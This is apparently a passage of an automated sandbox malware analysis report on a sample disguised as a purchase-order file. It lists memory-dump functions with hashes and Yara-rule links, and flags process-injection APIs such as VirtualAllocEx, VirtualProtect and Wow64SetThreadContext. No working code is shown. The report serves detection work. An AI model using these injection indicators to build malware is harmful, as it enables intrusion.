Download Yara Rule

Strings

d, xrefs: 05CC9321

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 60d0635ccaf66d09396235b2caadc209fd14859b0528680dbe5b5316db0b67cf
Instruction ID: 547a7c7b11478eceefb0d214a4f16e29e578aa7f6eb7851a0c2016a0826a310b
Opcode Fuzzy Hash: 60d0635ccaf66d09396235b2caadc209fd14859b0528680dbe5b5316db0b67cf
Instruction Fuzzy Hash: 15E16935600605CFCB14CF69C484A6ABBF2FFC9710B1989ADD85A8B7A1DB30F945CB94

Function 05E20E48 Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 05E20EFA

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 97f30efe88a83091981d69386b626c31edf92f13b90b0cec704060b579ba2f70
Instruction ID: 8ff5328193c4de837d2b89ff725c0c87ed4202ae5a079f1e167459788d0b2c2c
Opcode Fuzzy Hash: 97f30efe88a83091981d69386b626c31edf92f13b90b0cec704060b579ba2f70
Instruction Fuzzy Hash: 9A31A6B8D04258DFDF10CFA9D985A9EFBB1BB49310F14A02AE815B7250D735A902CF68

Function 05E21498 Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05E21544

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5a8ca28111cb5795fd0e997e73c849a618052093f81cc4a96b98de63c6a1bb55
Instruction ID: f09a23deffbde64114e9cf2e245751f9cd02165a93f57220d55c9d6f229714bd
Opcode Fuzzy Hash: 5a8ca28111cb5795fd0e997e73c849a618052093f81cc4a96b98de63c6a1bb55
Instruction Fuzzy Hash: 5C31E8B4C00258DFDF14CFAAD980AEEFBB0BB49310F14942AE855B7210D735AA45CF94

Function 05E20E50 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 05E20EFA

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: eef79151a6005b7b9a268baeb89b006e131df2bb5994db30fa21b05ff64fa362
Instruction ID: 45fa2e64bcda38a93a7824ff6af7c08f2a05bd003ea24cb460547a83f60cc40c
Opcode Fuzzy Hash: eef79151a6005b7b9a268baeb89b006e131df2bb5994db30fa21b05ff64fa362
Instruction Fuzzy Hash: 5731A8B8D04258DFDF10CFA9D984ADEFBB1BB49310F14A42AE815B7250D735A902CF54

Function 05E214A0 Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05E21544

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 480558b015442911654f0cde54935950dd0b1a68af7f955fdfc8c24b7a8badb9
Instruction ID: 608ec7443bb9372c1148f682f2032218f08e7c0343f0c57dbbcfd72d981f3d7d
Opcode Fuzzy Hash: 480558b015442911654f0cde54935950dd0b1a68af7f955fdfc8c24b7a8badb9
Instruction Fuzzy Hash: 0C31B8B5D00258DFCB14CFAAD980AEEFBF1BB49310F14942AE855B7210D735AA45CF94

Function 05EED4E8 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 05EED58C

Memory Dump Source

Source File: 00000000.00000002.1486576798.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ee0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 53cc0688e130ae44ce31d8283d69d81970159403aa98bcd51b332625eb68a4ca
Instruction ID: d0a89e828ff0de37a061b55f2c67036d6e309633d8e3428d595169801cf2f59d
Opcode Fuzzy Hash: 53cc0688e130ae44ce31d8283d69d81970159403aa98bcd51b332625eb68a4ca
Instruction Fuzzy Hash: 3931A8B4D00248DFDB10CFA9D980A9EFBB1BB49310F14942AE815B7210D735A9468F54

Function 05E208E9 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05E2099F

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d9784e87761d82ba9f3493244b4b99625e851ee59c6b3e793bbbb73c0f27bf21
Instruction ID: 9282f60eaa75b679e9d97f0dcada367536cf4f4e2a3d99b6ea832540cb2163d4
Opcode Fuzzy Hash: d9784e87761d82ba9f3493244b4b99625e851ee59c6b3e793bbbb73c0f27bf21
Instruction Fuzzy Hash: 3641DBB4D00258DFDB10CFAAD885AEEFBF1BB88310F14902AE459B7240C738A945CF54

Function 05E208F0 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05E2099F

Memory Dump Source

Source File: 00000000.00000002.1486156996.0000000005E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 23b16496a8ee6cd5162a271a321c141a009860e9fb1b7d30af5056b5b919cd33
Instruction ID: e2d5c61735ffade1b50d91d4cc0d6f4d543647076ba1f5f261fdbb7febb966a2
Opcode Fuzzy Hash: 23b16496a8ee6cd5162a271a321c141a009860e9fb1b7d30af5056b5b919cd33
Instruction Fuzzy Hash: B831BBB4D00258DFDB10CFAAD884AEEFBF1BB89314F14902AE459B7240D779A945CF54

Function 05C97CF3 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

RAb, xrefs: 05C97DC3

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID: RAb
API String ID: 0-2248548345
Opcode ID: 1acf4afdd0ce8c5585041175ddc65149ba0c4a25d2306e96b9a87ead5e5a980b
Instruction ID: ce033b28df9123dbefd87cdd9bf460bc236f106af3a5dc7c7d204a7b6e4d6f73
Opcode Fuzzy Hash: 1acf4afdd0ce8c5585041175ddc65149ba0c4a25d2306e96b9a87ead5e5a980b
Instruction Fuzzy Hash: 2551C274D01208DFDB18DFAAD548AADBBF2FF89300F20946AD816AB364DB359945CF50

Function 05EEE6B0 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 05EEE74F

Memory Dump Source

Source File: 00000000.00000002.1486576798.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ee0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 95d7f62e118af8af3d003eb5c4361827142602dc11a3e89bbaba19e7b6ba5649
Instruction ID: 7e7cd3c07328fcefcc8a4c5062d7e98ef3bcbe0b408afe2e0288d7ed49c05e08
Opcode Fuzzy Hash: 95d7f62e118af8af3d003eb5c4361827142602dc11a3e89bbaba19e7b6ba5649
Instruction Fuzzy Hash: 8B31A7B9D002489FDF10CFA9D884A9EFBB5BB49310F14942AE815B7210D735A945CF94

Function 05C9B7BB Relevance: 1.3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

Strings

R, xrefs: 05C9B857

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID: R
API String ID: 0-1466425173
Opcode ID: 5f09caf2042ceb1b027ef0a69316757d4000a6147618585ad0074fb2b5be2b37
Instruction ID: 52478efec7c3cf9040e0044ba73bbaebbb83a0d438cfa85f230c1d907f570d20
Opcode Fuzzy Hash: 5f09caf2042ceb1b027ef0a69316757d4000a6147618585ad0074fb2b5be2b37
Instruction Fuzzy Hash: 9B21C574D41228CFEB64DF24C854B99BBB2FF99300F0045D9D40AA7390DB326EA48F45

Function 05C9BD73 Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

_, xrefs: 05C9DDD0

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: 7dd43bde4bf790e6010e0b0e3fa43bab86d47e68f3ab0e56a14fdbd40f1b4487
Instruction ID: 15869e80ab050b1ac97241279bd0a6e432a9bc1e33c10910ca7321b713390c65
Opcode Fuzzy Hash: 7dd43bde4bf790e6010e0b0e3fa43bab86d47e68f3ab0e56a14fdbd40f1b4487
Instruction Fuzzy Hash: DAF0DA70904768CFEB64CF18DC48B9AB7B1FB45302F0055E5D009A7294DB742E84CF01

Function 05C91999 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

K, xrefs: 05C919EE

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 46297e51ea1d6c3bb8105c54813c50819fb41cb142b000f25e655e90a1acbfba
Instruction ID: 41b85bab954520ecb162f22db7854321051e88ed887c6171a3fdf4e8df8b2aef
Opcode Fuzzy Hash: 46297e51ea1d6c3bb8105c54813c50819fb41cb142b000f25e655e90a1acbfba
Instruction Fuzzy Hash: 46F07F749022298FDBA4EF14CC88AADB7B1EB48300F1142D5D81D63325DB356E90CF50

Function 05CCC318 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb73f7758a916acdad869c6d76f37bbb3291df4c9505b3a3b72d491ebc1698f3
Instruction ID: edfd4997c7ac44dea50d1c1c9c7f8de70fa9d9a3f5b8df8eb6c6238016157b64
Opcode Fuzzy Hash: cb73f7758a916acdad869c6d76f37bbb3291df4c9505b3a3b72d491ebc1698f3
Instruction Fuzzy Hash: 61522975A002288FDB28CF69C985BEDBBF2BF88300F5545D9E549A7351DA309E80CF61

Function 05CA0D98 Relevance: .6, Instructions: 577COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485533832.0000000005CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ca0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6eb24d8dd1abd77f95184db957c5ab8661d3aeeeb3d7851400139725f09b46b
Instruction ID: 3a5ccae19d8dd2fe0e5eceaf4ea3360565b35fd771684d1d984645a672fad22f
Opcode Fuzzy Hash: b6eb24d8dd1abd77f95184db957c5ab8661d3aeeeb3d7851400139725f09b46b
Instruction Fuzzy Hash: 8342E735E0421ACFDB14DFE9D948ABEBBB2FB89309F148419E912A7354DB345982CF50

Function 05CC66F0 Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d6c55bf1590ae055f89f642a4d2a8580ff78ed9ba19bea604f5e7aa2a935add
Instruction ID: 14c722f377c30818436b017e607b1c5833d1863ebf9c23013bca167c6e32886d
Opcode Fuzzy Hash: 4d6c55bf1590ae055f89f642a4d2a8580ff78ed9ba19bea604f5e7aa2a935add
Instruction Fuzzy Hash: 1D228E31A002149FDB18DF59C594A6DBBF2BF88310F1484A9E946EF3A1DB71ED81CB90

Function 05CC9608 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e8030ebaf7f93a83f866fa4014f072d0a65863bfb47e68decf96c3256c6493c
Instruction ID: 6e81d8609930dfc45c4574131e98fee48132ece6d1e400d38f583cf92a12eb95
Opcode Fuzzy Hash: 6e8030ebaf7f93a83f866fa4014f072d0a65863bfb47e68decf96c3256c6493c
Instruction Fuzzy Hash: CB125C31A006049FDB24DFA5D494AAEBBF2FF88300F2489ADE5469B394DB71ED45CB50

Function 05CCD15D Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2d0dff0398be2f982cbe2c402e65984a915963a2483a337c342f08c94a68a0b
Instruction ID: 1baa2e311ebfb3cc4c81446c7065038c2bb32a42dba7442e3407f90613f533d8
Opcode Fuzzy Hash: f2d0dff0398be2f982cbe2c402e65984a915963a2483a337c342f08c94a68a0b
Instruction Fuzzy Hash: D0F1BC70B082828FDB199F69C85166A7FF2AF84300F1549BDE587CB3D1DA34D981CB65

Function 05CCF328 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a20743bfd7b45ee76c73072ed462a6f3cd8cf7b91e1c79ef4c86e13306f567a3
Instruction ID: d6417a3994aad7592346a11e77cccf6bd5733231fe9adcd065d14b0a274eee40
Opcode Fuzzy Hash: a20743bfd7b45ee76c73072ed462a6f3cd8cf7b91e1c79ef4c86e13306f567a3
Instruction Fuzzy Hash: 0412D734B102198FCB14EF64C898A9DBBB2BF89300F5199ACD54AAB355DF31AD85CF50

Function 05CCB438 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78050c9a4f0b422ca4e393262967606ae8e53fcf2f11cebafdbb8b321e434988
Instruction ID: 48cda95f67ab7d392142dc5f39979e0b557e8ebd4a8d78e3c35eb68784b64bb0
Opcode Fuzzy Hash: 78050c9a4f0b422ca4e393262967606ae8e53fcf2f11cebafdbb8b321e434988
Instruction Fuzzy Hash: F7F1EC34B10118DFCB08DFA4D999AADBBB2FF89305F554598E446AB3A1DB71EC42CB40

Function 05CCFA10 Relevance: .4, Instructions: 366COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b0363cf095b98fd7eefb80c94964792f1c6f013d9377dc56a37a860d6feaa2c
Instruction ID: 3f5e60307aed88d89fa01170005f75c950bd0d0088477988cb727d421adb9f0b
Opcode Fuzzy Hash: 5b0363cf095b98fd7eefb80c94964792f1c6f013d9377dc56a37a860d6feaa2c
Instruction Fuzzy Hash: D5F12334A00209DFCB14EFA4D49899DBBB2FF89300F5589ADE4055B365DB30ED85CB91

Function 05CA18C0 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485533832.0000000005CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ca0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a72a4e638ad71b3e154e1e587ea7920879bbffbdfb8f0fc543b3c115074969df
Instruction ID: a1237fb18e03373a0e792929b6bfbdfc6d601c491003879fef84aab7afae6ffa
Opcode Fuzzy Hash: a72a4e638ad71b3e154e1e587ea7920879bbffbdfb8f0fc543b3c115074969df
Instruction Fuzzy Hash: CBF10234E01219DFDB18DFA5E5886ACBBB2FF89309F245929E406A7354DB355D81CF40

Function 05CC7700 Relevance: .3, Instructions: 348COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 770affd5dd836111b86e6ab2c84142a87b1be0611560db89bde23b9fa394f5f7
Instruction ID: dd58b907d87df2835ad392a01c3b9b1fe1f73876e2aa25248c6c1498871cc8f5
Opcode Fuzzy Hash: 770affd5dd836111b86e6ab2c84142a87b1be0611560db89bde23b9fa394f5f7
Instruction Fuzzy Hash: 56B1D0323046148FDB199F69D844BAE3BE6FFC8611B2444ADE806CB391DB35DD46CB91

Function 05CCC308 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d75b70c62abf65d6a5216009ff72967248858863da610016260bb552b09512f4
Instruction ID: c243d850b16da7bda763fa60caa8705366215bfb027225bf611217cf17ae686c
Opcode Fuzzy Hash: d75b70c62abf65d6a5216009ff72967248858863da610016260bb552b09512f4
Instruction Fuzzy Hash: 63C15D75A002188FDB18CBA9D985BDDBBF6FF88700F1584D9E549AB390DA309D81CF61

Function 05CC25E8 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 314c0a2307bd776f35a73ee5d0484c49af20addbd61d28552731a0df5c783059
Instruction ID: b6ecf39b454d68bd1b4dbb69adc34ec8d0d76026665a14417243a03ea1c910f2
Opcode Fuzzy Hash: 314c0a2307bd776f35a73ee5d0484c49af20addbd61d28552731a0df5c783059
Instruction Fuzzy Hash: 2B919C39B012049FCB14DFA5D995AADBBB2FF88311F1484A9E842EB390CB31DD41CB90

Function 05CC6E70 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d73d9193852bc5d6a2bcffeeef5d047ae0d199e61754ab1ba507e34acda0e12
Instruction ID: f732d85601ea70a28df707e815267e4b2dd18a6a7b24c0e681c82f06f130a26b
Opcode Fuzzy Hash: 4d73d9193852bc5d6a2bcffeeef5d047ae0d199e61754ab1ba507e34acda0e12
Instruction Fuzzy Hash: BB91F234B002048FDB14DF69C884A6E7BE6FF89710B2544A9E506DB3A1DB71ED81CB91

Function 05CA1598 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485533832.0000000005CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ca0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75f079a94c6953df2d242a7e1a6d41fcdf9eeeed8a29cc14499397f916b58277
Instruction ID: d7d6d591bf80907b11fd31da3d00d370f6356d734464f48b2b72a34a452a59a4
Opcode Fuzzy Hash: 75f079a94c6953df2d242a7e1a6d41fcdf9eeeed8a29cc14499397f916b58277
Instruction Fuzzy Hash: 64A1FA35E0421ACFCB19DFA5D4486EEBBB2FF89309F189829D412A7394CB345982CF50

Function 05CCB428 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 590bf2200e6ce6a2b9391f6c900911ec726179d2cb36e4e0880839ef60d19129
Instruction ID: 1e9513f9f1013cc4041a054b54c3df44c43d07cd03d22d9def1e7fd0eb8e07dc
Opcode Fuzzy Hash: 590bf2200e6ce6a2b9391f6c900911ec726179d2cb36e4e0880839ef60d19129
Instruction Fuzzy Hash: 20A10E34B10118DFCB04DFA4D999A9DBBB2FF88304F559599E406AB361DF31AC82CB50

Function 05CC7FD0 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38cc46f6ba04c44bb0b74732ca7bb6cfd2288e9937029e56b4eadbc6149ab1eb
Instruction ID: f8ca250564f1232ef919c86019e501143e0af6742a09c5791f5d0425ea0b6682
Opcode Fuzzy Hash: 38cc46f6ba04c44bb0b74732ca7bb6cfd2288e9937029e56b4eadbc6149ab1eb
Instruction Fuzzy Hash: A8812B75A00618CFDB24DFA9C484A9EBBF5FF88750B1585A9E806DB360DB31ED42CB50

Function 05CC5140 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20a1bfb715ad7d43cc9daa8329d41cf78e647f41951c66e11614fd5a7690e514
Instruction ID: e06aa0ffa4f3804f787c9204a23b247b77631c305b93fe3d9c82da5544cc3a96
Opcode Fuzzy Hash: 20a1bfb715ad7d43cc9daa8329d41cf78e647f41951c66e11614fd5a7690e514
Instruction Fuzzy Hash: 1A51C031B003008FD719AF75C858A2E7BB7BF89210B6449ADE4468B3A4DF35ED46CB91

Function 05CCD808 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64fd27251c579249ac94f26c89213770889fae96e7e8e412be027b81fa060679
Instruction ID: f41e40ea7ecb8d69a4035271d2ebb0bc091d18d336bb4b30836bc709c3027ea3
Opcode Fuzzy Hash: 64fd27251c579249ac94f26c89213770889fae96e7e8e412be027b81fa060679
Instruction Fuzzy Hash: 11519F717042949FD714DF39C858B2E3BAABF89610B1944ADF40BCB3A1DE34DD468BA1

Function 02782C60 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44d8fe51b4b706414bfeb808b6c0d046e8c3ba51ce063f5ec3d30220dbfd3986
Instruction ID: 25d759cbbf38714ee6f01957bbfa0af15fbcd1a55ddf7eb1cd5c04804758d64a
Opcode Fuzzy Hash: 44d8fe51b4b706414bfeb808b6c0d046e8c3ba51ce063f5ec3d30220dbfd3986
Instruction Fuzzy Hash: 7A51BF34A41244CFDB14EF65D884BE9BBF2FB88312F24C5A6D905AB256E774AC41CB50

Function 05CC2270 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 721f7b6b4aa27a4470ba89e30939ceb8de9e471288b171134906728fb53faf47
Instruction ID: 62dc812999d83a19ab526557eb8f33275ddf863e82182b082ecaeb8be329f3b4
Opcode Fuzzy Hash: 721f7b6b4aa27a4470ba89e30939ceb8de9e471288b171134906728fb53faf47
Instruction Fuzzy Hash: 5E51F539A006158FC710DF58D484A6EFBB6FF85320B198A99D5A99B381D730FC56CBD0

Function 05CC12B0 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d2a99c41ade68f11996a2538f110afdbf46f7f016064840c52d675fa96e51e3
Instruction ID: 2e213b3ef9843789d8d1a438bafa3f2b930361f3485a8280fc46e7d4077dd2ee
